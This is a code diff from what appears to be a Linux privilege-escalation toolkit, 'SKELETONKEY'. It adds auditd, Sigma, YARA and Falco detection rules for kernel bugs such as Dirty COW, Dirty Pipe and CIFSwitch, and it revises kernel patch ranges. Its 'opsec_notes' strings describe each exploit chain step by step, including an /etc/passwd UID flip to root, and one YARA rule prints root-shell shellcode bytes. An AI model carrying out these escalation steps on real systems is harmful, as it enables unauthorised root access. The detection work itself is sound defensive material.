+static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    return SKELETONKEY_OK;
+}
+
+#endif /* __linux__ */
+
+/* Embedded detection rules — keep the binary self-contained. The
+ * behavioural signal is a non-root process creating a `cifs.spnego` key
+ * (add_key/request_key) and/or an unexpected cifs.upcall execution
+ * paired with user-namespace setup. */
+static const char cifswitch_auditd[] =
+    "# CVE-2026-46243 (CIFSwitch) — auditd detection rules\n"
+    "# A non-root add_key/request_key for cifs.spnego is the core abuse,\n"
+    "# usually paired with unshare(CLONE_NEWUSER|CLONE_NEWNS) and a\n"
+    "# cifs.upcall execution that loads an attacker NSS module.\n"
+    "-a always,exit -F arch=b64 -S add_key     -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
+    "-a always,exit -F arch=b64 -S request_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
+    "-a always,exit -F arch=b64 -S unshare     -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
+    "-w /usr/sbin/cifs.upcall -p x -k skeletonkey-cifswitch\n";
+
+static const char cifswitch_sigma[] =
+    "title: Possible CVE-2026-46243 CIFSwitch cifs.spnego keyring LPE\n"
+    "id: 9b2e7c10-skeletonkey-cifswitch\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects a non-root process creating a cifs.spnego key via\n"
+    "  add_key/request_key. CIFSwitch forges the authority-bearing fields\n"
+    "  (uid/creduid/upcall_target) in a cifs.spnego key description that\n"
+    "  the root cifs.upcall helper trusts, then uses namespace tricks to\n"
+    "  load an attacker NSS module as root. False positives: legitimate\n"
+    "  CIFS/Kerberos mounts normally trigger cifs.spnego from kernel\n"
+    "  context (root), not from an unprivileged add_key.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  keyop:    {type: 'SYSCALL', syscall: ['add_key', 'request_key']}\n"
+    "  non_root: {auid|expression: '>= 1000'}\n"
+    "  condition: keyop and non_root\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2026.46243]\n";
+
+static const char cifswitch_falco[] =
+    "- rule: non-root cifs.spnego key creation (CVE-2026-46243 CIFSwitch)\n"
+    "  desc: |\n"
+    "    A non-root process creates a cifs.spnego key (add_key/request_key)\n"
+    "    or spawns cifs.upcall outside a kernel-initiated CIFS mount. The\n"
+    "    CIFSwitch LPE forges authority fields in the key description that\n"
+    "    the root cifs.upcall helper trusts, loading an attacker NSS module\n"
+    "    as root. False positives: container/CIFS tooling run as root.\n"
+    "  condition: >\n"
+    "    ((evt.type in (add_key, request_key)) or\n"
+    "     (spawned_process and proc.name = cifs.upcall)) and not user.uid = 0\n"
+    "  output: >\n"
+    "    non-root cifs.spnego key op / cifs.upcall (possible CVE-2026-46243)\n"
+    "    (user=%user.name proc=%proc.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
+    "  priority: HIGH\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2026.46243]\n";
+
+const struct skeletonkey_module cifswitch_module = {
+    .name           = "cifswitch",
+    .cve            = "CVE-2026-46243",
+    .summary        = "cifs.spnego key type trusts userspace-forged authority fields → cifs.upcall loads attacker NSS module as root (Asim Manizada)",
+    .family         = "cifswitch",
+    .kernel_range   = "fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); ~19-year-old bug below those",
+    .detect         = cifswitch_detect,
+    .exploit        = cifswitch_exploit,
+    .mitigate       = cifswitch_mitigate,
+    .cleanup        = cifswitch_cleanup,
+    .detect_auditd  = cifswitch_auditd,
+    .detect_sigma   = cifswitch_sigma,
+    .detect_yara    = NULL,   /* attacker NSS .so has no stable signature; behavioural bug */
+    .detect_falco   = cifswitch_falco,
+    .opsec_notes    = "detect() consults the shared host fingerprint for the kernel version (Debian backports 5.10.257/6.1.174/6.12.90/7.0.10) and probes for the cifs.upcall helper / cifs.spnego request-key rule (override via SKELETONKEY_CIFS_ASSUME_PRESENT=1/0); a vulnerable kernel without cifs-utils is PRECOND_FAIL. exploit() fires only the non-destructive primitive: add_key(2) of a forged-but-benign cifs.spnego key (does NOT invoke cifs.upcall, loads nothing), revokes it immediately, and treats a clean accept as the empirical witness — it never runs the namespace-switch + malicious-NSS-load chain that pops root, and returns EXPLOIT_FAIL without a euid-0 witness. Audit-visible via add_key/request_key for cifs.spnego by a non-root auid, typically alongside unshare(CLONE_NEWUSER|CLONE_NEWNS) and a cifs.upcall execution. --mitigate writes /etc/modprobe.d/skeletonkey-disable-cifs.conf (blacklist cifs); --cleanup removes it. Arch-agnostic (no shellcode).",
+    .arch_support   = "any",
+};
+
+void skeletonkey_register_cifswitch(void)
+{
+    skeletonkey_register(&cifswitch_module);
+}

modules/cifswitch_cve_2026_46243/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * cifswitch_cve_2026_46243 — SKELETONKEY module registry hook
+ */
+
+#ifndef CIFSWITCH_SKELETONKEY_MODULES_H
+#define CIFSWITCH_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module cifswitch_module;
+
+#endif

modules/cls_route4_cve_2022_2588/skeletonkey_modules.c

@@ -69,9 +69,9 @@
 
 static const struct kernel_patched_from cls_route4_patched_branches[] = {
     {5,  4, 213},
-    {5, 10, 143},
+    {5, 10, 136},   /* Debian tracker: earlier than 5.10.143 */
     {5, 15,  69},
-    {5, 18,  18},
+    {5, 18,  16},   /* Debian tracker: earlier than 5.18.18 */
     {5, 19,   7},
     {5, 20,   0},   /* mainline */
 };
@@ -826,6 +826,54 @@ static const char cls_route4_auditd[] =
     "-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
     "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
 
+static const char cls_route4_sigma[] =
+    "title: Possible CVE-2022-2588 cls_route4 dead-UAF\n"
+    "id: d56e8fc4-skeletonkey-cls-route4\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects the net/sched cls_route4 dead-UAF setup: unshare userns +\n"
+    "  netns + tc qdisc/filter rules with handle 0 + delete + msg_msg\n"
+    "  spray + UDP sendto on a dummy interface. False positives:\n"
+    "  traffic-shaping config in rootless containers.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
+    "  udp:    {type: 'SYSCALL', syscall: 'sendto'}\n"
+    "  groom:  {type: 'SYSCALL', syscall: 'msgsnd'}\n"
+    "  condition: userns and udp and groom\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2022.2588]\n";
+
+static const char cls_route4_yara[] =
+    "rule cls_route4_cve_2022_2588 : cve_2022_2588 kernel_uaf\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2022-2588\"\n"
+    "        description = \"cls_route4 dead-UAF kmalloc-1k spray tag and log breadcrumb\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag = \"SKELETONKEY4\" ascii\n"
+    "        $log = \"/tmp/skeletonkey-cls_route4.log\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char cls_route4_falco[] =
+    "- rule: tc route4 filter manipulation by non-root in userns\n"
+    "  desc: |\n"
+    "    Non-root tc qdisc + route4 filter add/delete inside a userns\n"
+    "    + UDP sendto trigger. CVE-2022-2588 dead-UAF pattern. False\n"
+    "    positives: legitimate traffic shaping inside rootless\n"
+    "    containers.\n"
+    "  condition: >\n"
+    "    evt.type = sendto and fd.sockfamily = AF_INET and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    UDP sendto on dummy iface from non-root\n"
+    "    (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2022.2588]\n";
+
 const struct skeletonkey_module cls_route4_module = {
     .name           = "cls_route4",
     .cve            = "CVE-2022-2588",
@@ -837,9 +885,11 @@ const struct skeletonkey_module cls_route4_module = {
     .mitigate       = NULL,    /* mitigation: blacklist cls_route4 module OR disable user_ns */
     .cleanup        = cls_route4_cleanup,
     .detect_auditd  = cls_route4_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = cls_route4_sigma,
+    .detect_yara    = cls_route4_yara,
+    .detect_falco   = cls_route4_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNET); ip link/addr/route to make a dummy interface, htb qdisc + class + route4 filter with handle 0, delete filter (leaves dangling tcf_proto pointer), msg_msg spray kmalloc-1k tagged 'SKELETONKEY4', UDP sendto to trigger classify(). Writes /tmp/skeletonkey-cls_route4.log. Audit-visible via unshare + sendto(AF_INET) + msgsnd. Cleanup callback removes /tmp log + dummy interface.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_cls_route4(void)

modules/copy_fail_family/skeletonkey_modules.c

@@ -157,6 +157,82 @@ static const char copy_fail_family_sigma[] =
     "level: high\n"
     "tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
 
+/* YARA + Falco rules shared across the 5 family modules. Scanned via
+ * --detect-rules; the dispatcher dedups by pointer so the rule blob
+ * emits once even though copy_fail / copy_fail_gcm / dirty_frag_*
+ * all point at the same string. */
+static const char copy_fail_family_yara[] =
+    "rule etc_passwd_uid_flip : page_cache_write\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2026-31431 / CVE-2026-43284 / CVE-2026-43500\"\n"
+    "        description = \"/etc/passwd page-cache UID flip: a non-root user line shows a zero-padded UID (the canonical Copy Fail / Dirty Frag / DirtyDecrypt / Dirty Pipe payload). Scan /etc/passwd; legitimate root uses plain '0:', never '0000:'.\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        // lowercase-start username, optional shadow ('x') password, then UID 0000 or longer\n"
+    "        $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
+    "    condition:\n"
+    "        $uid_flip\n"
+    "}\n"
+    "\n"
+    "rule etc_passwd_root_no_password\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2026-31635 (DirtyDecrypt sliding-window write)\"\n"
+    "        description = \"/etc/passwd root entry rewritten to have an empty password field — the DirtyDecrypt PoC's intermediate corruption (rewrite root's password to empty, then `su root` without password).\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $root_open  = /\\nroot::0:0:/   // empty password (canonical x or ! when shadowed)\n"
+    "    condition:\n"
+    "        $root_open\n"
+    "}\n";
+
+static const char copy_fail_family_falco[] =
+    "- rule: AF_ALG authenc keyblob installed by non-root (Copy Fail primitive)\n"
+    "  desc: |\n"
+    "    A non-root process creates an AF_ALG socket and installs an\n"
+    "    authencesn(hmac(sha256),cbc(aes)) keyblob via ALG_SET_KEY.\n"
+    "    Core of the Copy Fail (CVE-2026-31431) primitive — also\n"
+    "    triggered by the GCM variant. AF_ALG by non-root is rare on\n"
+    "    most servers; tune by allow-listing your crypto-using daemons.\n"
+    "  condition: >\n"
+    "    evt.type = socket and evt.arg[0] = 38 and not user.uid = 0\n"
+    "  output: >\n"
+    "    AF_ALG socket() by non-root (user=%user.name pid=%proc.pid\n"
+    "     ppid=%proc.ppid parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
+    "  priority: WARNING\n"
+    "  tags: [process, cve.2026.31431, copy_fail]\n"
+    "\n"
+    "- rule: XFRM NETLINK_XFRM bind from unprivileged userns (Dirty Frag primitive)\n"
+    "  desc: |\n"
+    "    A NETLINK_XFRM socket is opened from inside an unprivileged\n"
+    "    user namespace, with subsequent XFRM_MSG_NEWSA installing an\n"
+    "    ESP(rfc4106(gcm(aes))) state. Core of the Dirty Frag esp/esp6\n"
+    "    variants — also tripped by Fragnesia's setup phase. Legitimate\n"
+    "    XFRM use is normally privileged (strongSwan, libreswan).\n"
+    "  condition: >\n"
+    "    evt.type = sendto and not user.uid = 0 and\n"
+    "    proc.aname[1] != \"\"   // we want non-init userns; refine with k8s.namespace or container.id\n"
+    "  output: >\n"
+    "    NETLINK_XFRM sendto from non-root (user=%user.name pid=%proc.pid\n"
+    "     proc=%proc.name)\n"
+    "  priority: WARNING\n"
+    "  tags: [process, cve.2026.43284, dirty_frag]\n"
+    "\n"
+    "- rule: /etc/passwd modified by non-root (Copy Fail / Dirty Frag / Dirty Pipe outcome)\n"
+    "  desc: |\n"
+    "    /etc/passwd is read-only for non-root, so a non-root caller\n"
+    "    showing up on its open(W_OK) audit trail indicates a\n"
+    "    page-cache write primitive succeeded. Catches the post-fire\n"
+    "    state for the whole copy_fail family + dirty_pipe.\n"
+    "  condition: >\n"
+    "    open_write and fd.name = /etc/passwd and not user.uid = 0\n"
+    "  output: >\n"
+    "    Non-root write to /etc/passwd (user=%user.name pid=%proc.pid\n"
+    "     proc=%proc.name)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [filesystem, mitre_privilege_escalation, T1068, copy_fail, dirty_frag]\n";
+
 const struct skeletonkey_module copy_fail_module = {
     .name           = "copy_fail",
     .cve            = "CVE-2026-31431",
@@ -169,8 +245,10 @@ const struct skeletonkey_module copy_fail_module = {
     .cleanup        = copy_fail_family_cleanup,
     .detect_auditd  = copy_fail_family_auditd,
     .detect_sigma   = copy_fail_family_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = copy_fail_family_yara,
+    .detect_falco   = copy_fail_family_falco,
+    .opsec_notes    = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 /* ----- copy_fail_gcm (variant, no CVE) ----- */
@@ -201,8 +279,10 @@ const struct skeletonkey_module copy_fail_gcm_module = {
     .cleanup        = copy_fail_family_cleanup,
     .detect_auditd  = copy_fail_family_auditd,
     .detect_sigma   = copy_fail_family_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = copy_fail_family_yara,
+    .detect_falco   = copy_fail_family_falco,
+    .opsec_notes    = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 /* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
@@ -233,8 +313,10 @@ const struct skeletonkey_module dirty_frag_esp_module = {
     .cleanup        = copy_fail_family_cleanup,
     .detect_auditd  = copy_fail_family_auditd,
     .detect_sigma   = copy_fail_family_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = copy_fail_family_yara,
+    .detect_falco   = copy_fail_family_falco,
+    .opsec_notes    = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 /* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
@@ -265,8 +347,10 @@ const struct skeletonkey_module dirty_frag_esp6_module = {
     .cleanup        = copy_fail_family_cleanup,
     .detect_auditd  = copy_fail_family_auditd,
     .detect_sigma   = copy_fail_family_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = copy_fail_family_yara,
+    .detect_falco   = copy_fail_family_falco,
+    .opsec_notes    = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 /* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
@@ -297,8 +381,10 @@ const struct skeletonkey_module dirty_frag_rxrpc_module = {
     .cleanup        = copy_fail_family_cleanup,
     .detect_auditd  = copy_fail_family_auditd,
     .detect_sigma   = copy_fail_family_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = copy_fail_family_yara,
+    .detect_falco   = copy_fail_family_falco,
+    .opsec_notes    = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 /* ----- Family registration ----- */

modules/dirty_cow_cve_2016_5195/skeletonkey_modules.c

@@ -72,7 +72,7 @@ static const struct kernel_patched_from dirty_cow_patched_branches[] = {
     {3, 16,  38},
     {3, 18,  43},
     {4,  4,  26},   /* Ubuntu 16.04 baseline */
-    {4,  7,  10},
+    {4,  7,   8},   /* Debian tracker: earlier than 4.7.10 */
     {4,  8,   3},
     {4,  9,   0},   /* mainline fix */
 };
@@ -390,6 +390,35 @@ static const char dirty_cow_sigma[] =
     "level: high\n"
     "tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
 
+static const char dirty_cow_yara[] =
+    "rule dirty_cow_cve_2016_5195 : cve_2016_5195 page_cache_write\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2016-5195\"\n"
+    "        description = \"Dirty COW /etc/passwd UID-flip pattern (non-root user remapped to 0000+)\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
+    "    condition:\n"
+    "        $uid_flip\n"
+    "}\n";
+
+static const char dirty_cow_falco[] =
+    "- rule: Dirty COW pwrite on /proc/self/mem by non-root\n"
+    "  desc: |\n"
+    "    Non-root pwrite() targeting /proc/self/mem at an offset that\n"
+    "    overlaps a private mmap of /etc/passwd. Combined with a\n"
+    "    racing madvise(MADV_DONTNEED) loop this is the Dirty COW\n"
+    "    primitive (CVE-2016-5195).\n"
+    "  condition: >\n"
+    "    evt.type = pwrite and fd.name = /proc/self/mem and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    pwrite to /proc/self/mem by non-root\n"
+    "    (user=%user.name proc=%proc.name pid=%proc.pid)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [filesystem, mitre_privilege_escalation, T1068, cve.2016.5195]\n";
+
 const struct skeletonkey_module dirty_cow_module = {
     .name           = "dirty_cow",
     .cve            = "CVE-2016-5195",
@@ -402,8 +431,10 @@ const struct skeletonkey_module dirty_cow_module = {
     .cleanup        = dirty_cow_cleanup,
     .detect_auditd  = dirty_cow_auditd,
     .detect_sigma   = dirty_cow_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = dirty_cow_yara,
+    .detect_falco   = dirty_cow_falco,
+    .opsec_notes    = "Two-thread race: Thread A loops pwrite(/proc/self/mem) at the user's UID offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites the UID field with all-zeros, then execlp('su') to claim root. UID offset is parsed from the file, not hardcoded. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning. Cleanup callback calls posix_fadvise(POSIX_FADV_DONTNEED) on /etc/passwd and writes 3 to /proc/sys/vm/drop_caches to evict.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_dirty_cow(void)

modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.c

@@ -204,7 +204,7 @@ static void revert_passwd_page_cache(void)
  *  - mainline (≥ 5.17) is patched
  */
 static const struct kernel_patched_from dirty_pipe_patched_branches[] = {
-    {5, 10, 102},  /* 5.10.x backport */
+    {5, 10,  92},  /* 5.10.x backport (Debian tracker: earlier than 5.10.102) */
     {5, 15,  25},  /* 5.15.x backport */
     {5, 16,  11},  /* 5.16.x backport (mainline fix lived here briefly) */
     {5, 17,   0},  /* mainline fix lands; everything from here is fine */
@@ -460,6 +460,39 @@ static const char dirty_pipe_auditd[] =
     "-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
     "-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
 
+static const char dirty_pipe_yara[] =
+    "rule dirty_pipe_passwd_uid_flip : cve_2022_0847 page_cache_write\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2022-0847\"\n"
+    "        description = \"Dirty Pipe (CVE-2022-0847): /etc/passwd page-cache UID flip — non-root username remapped to UID 0000+. Scan /etc/passwd directly; legitimate root entries use '0:', never '0000:'.\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
+    "    condition:\n"
+    "        $uid_flip\n"
+    "}\n";
+
+static const char dirty_pipe_falco[] =
+    "- rule: Dirty Pipe splice from setuid/sensitive file by non-root\n"
+    "  desc: |\n"
+    "    A non-root process calls splice() with a fd pointing at a\n"
+    "    setuid-root binary or a credential file. The Dirty Pipe\n"
+    "    primitive (CVE-2022-0847) splices 1 byte from the target to\n"
+    "    a prepared pipe to inherit the stale PIPE_BUF_FLAG_CAN_MERGE,\n"
+    "    then writes attacker bytes that land in the file's page cache.\n"
+    "  condition: >\n"
+    "    evt.type = splice and not user.uid = 0 and\n"
+    "    (fd.name in (/etc/passwd, /etc/shadow, /etc/sudoers)\n"
+    "     or fd.name startswith /usr/bin/su\n"
+    "     or fd.name startswith /usr/bin/passwd\n"
+    "     or fd.name startswith /bin/su)\n"
+    "  output: >\n"
+    "    Dirty Pipe-style splice from sensitive file by non-root\n"
+    "    (user=%user.name proc=%proc.name fd=%fd.name pid=%proc.pid)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0847]\n";
+
 static const char dirty_pipe_sigma[] =
     "title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
     "id: f6b13c08-skeletonkey-dirty-pipe\n"
@@ -487,8 +520,10 @@ const struct skeletonkey_module dirty_pipe_module = {
     .cleanup        = dirty_pipe_cleanup,
     .detect_auditd  = dirty_pipe_auditd,
     .detect_sigma   = dirty_pipe_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = dirty_pipe_yara,
+    .detect_falco   = dirty_pipe_falco,
+    .opsec_notes    = "Creates a pipe, fills+drains to leave PIPE_BUF_FLAG_CAN_MERGE on every slot; finds the UID offset in /etc/passwd by parsing the file; splice(1 byte) from (target_offset-1) to inherit the stale flag, then write(pipe) with the all-zero payload - kernel merges into the file's page cache. Offset must be non-page-aligned and the write must fit in a single page. Audit-visible via splice(fd=/etc/passwd) + write from a non-root process. --active mode writes/reads /tmp/skeletonkey-dirty-pipe-probe-XXXXXX to verify. Cleanup callback evicts /etc/passwd via posix_fadvise + drop_caches.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_dirty_pipe(void)

modules/dirtydecrypt_cve_2026_31635/skeletonkey_modules.c

@@ -667,13 +667,18 @@ static int dd_active_probe(void)
  * RESPONSE authenticator length check"), shipped in Linux 7.0.
  *
  * The detect logic therefore is:
- *   - kernel < 7.0  → SKELETONKEY_OK (predates the bug)
- *   - kernel ≥ 7.0  → consult kernel_range; 7.0+ has the fix
- *   - --active     → empirical override (catches pre-fix 7.0-rc kernels
- *                    or weird distro rebuilds the version check missed)
+ *   - kernel < 6.16.1  → SKELETONKEY_OK (predates the rxgk RESPONSE bug)
+ *   - kernel in range  → consult kernel_range for backport coverage
+ *   - --active         → empirical override
+ *
+ * Per NVD CVE-2026-31635: bug introduced in 6.16.1 stable; vulnerable
+ * range is 6.16.1–6.18.22 + 6.19.0–6.19.12 + 7.0-rc1..rc7. Fixed at
+ * 6.18.23 backport, 6.19.13 backport, 7.0 stable.
  */
 static const struct kernel_patched_from dirtydecrypt_patched_branches[] = {
-	{7, 0, 0},   /* mainline fix commit a2567217 landed in Linux 7.0 */
+	{6, 18, 23}, /* 6.18.x stable backport */
+	{6, 19, 13}, /* 6.19.x stable backport (per Debian tracker — forky/sid) */
+	{7,  0,  0}, /* mainline fix landed before 7.0 stable */
 };
 static const struct kernel_range dirtydecrypt_range = {
 	.patched_from = dirtydecrypt_patched_branches,
@@ -696,11 +701,12 @@ static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
 		return SKELETONKEY_TEST_ERROR;
 	}
 
-	/* Predates the bug: rxgk RESPONSE-handling code was added in 7.0. */
-	if (!skeletonkey_host_kernel_at_least(ctx->host, 7, 0, 0)) {
+	/* Predates the bug: rxgk RESPONSE-handling bug entered at 6.16.1
+	 * stable per NVD. Earlier 6.x kernels don't have the buggy code. */
+	if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 16, 1)) {
 		if (!ctx->json)
 			fprintf(stderr, "[i] dirtydecrypt: kernel %s predates the rxgk "
-				"RESPONSE-handling code added in 7.0 — not applicable\n",
+				"RESPONSE bug introduced in 6.16.1 — not applicable\n",
 				v->release);
 		return SKELETONKEY_OK;
 	}
@@ -921,6 +927,55 @@ static const char dd_auditd[] =
 	"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice\n"
 	"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice\n";
 
+static const char dd_yara[] =
+    "rule dirtydecrypt_payload_overlay : cve_2026_31635 page_cache_write\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2026-31635\"\n"
+    "        description = \"DirtyDecrypt payload: the 120-byte ET_DYN x86_64 ELF the public V12 PoC overlays onto the first bytes of a setuid binary's page cache. Scan setuid-root binaries (/usr/bin/su etc.); legitimate binaries are much larger and never start with this exact shellcode.\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "        reference   = \"https://github.com/v12-security/pocs/tree/main/dirtydecrypt\"\n"
+    "    strings:\n"
+    "        // First 28 bytes of the embedded tiny_elf[] payload.\n"
+    "        $payload_head = { 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 03 00 3E 00 01 00 00 00 68 00 00 00 }\n"
+    "        // The setuid(0)+execve(/bin/sh) tail at offset 104 of the payload.\n"
+    "        $shellcode    = { B0 69 0F 05 48 8D 3D DD FF FF FF 6A 3B 58 0F 05 }\n"
+    "        $sh           = \"/bin/sh\"\n"
+    "    condition:\n"
+    "        // Setuid binaries are at minimum a few KB; the payload is\n"
+    "        // 120 bytes overlaid at offset 0 so the rest of the file\n"
+    "        // remains the original binary content (or padding).\n"
+    "        $payload_head at 0 and $shellcode and $sh and filesize > 4096\n"
+    "}\n";
+
+static const char dd_falco[] =
+    "- rule: AF_RXRPC socket created by non-root (DirtyDecrypt primitive)\n"
+    "  desc: |\n"
+    "    Non-root process creates an AF_RXRPC socket. AF_RXRPC is the\n"
+    "    family the DirtyDecrypt (CVE-2026-31635) primitive needs to\n"
+    "    trigger the rxgk in-place decrypt. Most production hosts do\n"
+    "    not use AF_RXRPC at all (it's AFS-flavoured); a non-root\n"
+    "    open here is highly suspicious.\n"
+    "  condition: >\n"
+    "    evt.type = socket and evt.arg[0] = 33 and not user.uid = 0\n"
+    "  output: >\n"
+    "    AF_RXRPC socket() by non-root (user=%user.name proc=%proc.name\n"
+    "     pid=%proc.pid parent=%proc.pname)\n"
